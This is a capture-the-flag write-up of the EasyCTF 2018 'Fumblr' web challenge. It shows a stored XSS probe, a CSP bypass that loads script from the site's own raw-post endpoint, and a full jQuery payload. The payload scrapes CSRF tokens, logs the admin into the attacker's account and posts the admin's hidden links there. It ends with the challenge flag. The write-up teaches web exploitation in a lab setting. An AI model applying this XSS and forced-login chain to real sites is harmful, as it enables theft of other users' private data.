EasyCTF 2018 - Web (275 pts).

EasyCTF 2018: Fumblr

Event Challenge Category Points Solves
EasyCTF 2018 Fumblr Web 275 ?


Fumblr is a microblogging platform. The goal of the challenge is to read the hidden posts of the admin.


After finding a XSS, I manage to bypass the CSP using the raw post functionality. Made a payload to exfiltrate admin’s hidden posts and post them on my blog.

Find the vulnerability

Once on it, we discover 4 pages :

  • Home
  • Report
  • Log in
  • Sign up

On the report page, it is possible to submit an url to the admin, this guides us towards a potential XSS. After registration and login, it’s possible to create a post. We test the presence of an XSS using <svg/onload=alert()>.


The application is vulnerable to a stored XSS, but the JS is not executed, in fact, the admin has set up a CSP.


CSP Bypass

default-src 'self'
script-src 'self' http://www.google.com/recaptcha/ http://www.gstatic.com/recaptcha/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;
style-src 'self' 'unsafe-inline';
frame-src 'self' http://www.google.com/recaptcha/ https://www.google.com/recaptcha/

It seems to complicate to exploit the allowed domains: http://www.google.com and http://www.gstatic.com, so it is necessary to be able to include js from a file stored on Fumblr.

On Fumblr, it is possible to display the content of a post in plain/text by adding /raw to his url. This functionality will allow us to bypass the CSP!

Indeed, we can only include JS from the same domain, just place its JS in a post and access it in raw ;)


Now that we have our javascript file directly stored on the Fumblr server, we just have to include it from another post.


There you go! CSP has been bypassed.


Exfiltrate data

Now, we need to retrieve hidden posts from admin, you can quickly find his blog page: http://c1.easyctf.com:12491/blog/admin


The hardest part isn’t to retrieve all these posts, but to exfilter them, this because of the CSP not allowing to make requests other than to Fumblr, https://www.google.com/recaptcha/ and https://www.gstatic.com/recaptcha/.

The first idea I have in mind is to force the admin to post on his blog, the problem with this solution is that they will be visible directly to other teams, so not crazy x)

After some tests of redirection of the admin, nothing conclusive… Reading the report page again, I come across this “Please note that the admin will only do exactly ONE page load.“So we must find another solution…


Then, I wonder how the admin could post on my own blog? In order to succeed in this, I find only one solution, disconnect and loginin the admin into my account. But the way is a little more complicated than that, Fumblr uses tokens to prevent CSRF attacks, so it will be necessary to recover them so that the admin logs into our account and also to post.

Here is the final payload.

var flag = '';

# Get admin blog page content
$.ajax({type:'GET', url:'http://c1.easyctf.com:12491/blog/admin', success:getFlag});

function getFlag(response){
  # Admin's links recovery and base64'ize
  regex = new RegExp('"/blog/admin/(.*)">','gi');
  token = response.match(regex).toString();
  flag = btoa(token);

  # Logout
  $.get({url: 'http://c1.easyctf.com:12491/logout', async:false});

  # Login
  login_token = getToken('http://c1.easyctf.com:12491/login');
  $.post({url: 'http://c1.easyctf.com:12491/login', data: { username: 'loul', password: 'loul', _csrf: login_token }, async: false});

  # Post
  post_token = getToken('http://c1.easyctf.com:12491/blog/loul');
  $.post({url: 'http://c1.easyctf.com:12491/create-post', data: { hidden: 'on', title: 'FLAG', body: flag, _csrf: post_token }, async: false});


function getToken(url) {
  rt = $.get({url: url, async: false}).responseText;
  form = $($(rt).find('form')[0]);
  return form.find('input[name="_csrf"]').val();


After sending the payload to the admin, I juste have to waite one minute and a base64 was posted on the *loul’s *blog :


After decoding it gives us 3 links :


Just need to browser on links to get the flag!

The flag was easyctf{I_th0ght_CSP_m4d3_1t_s3cur3?}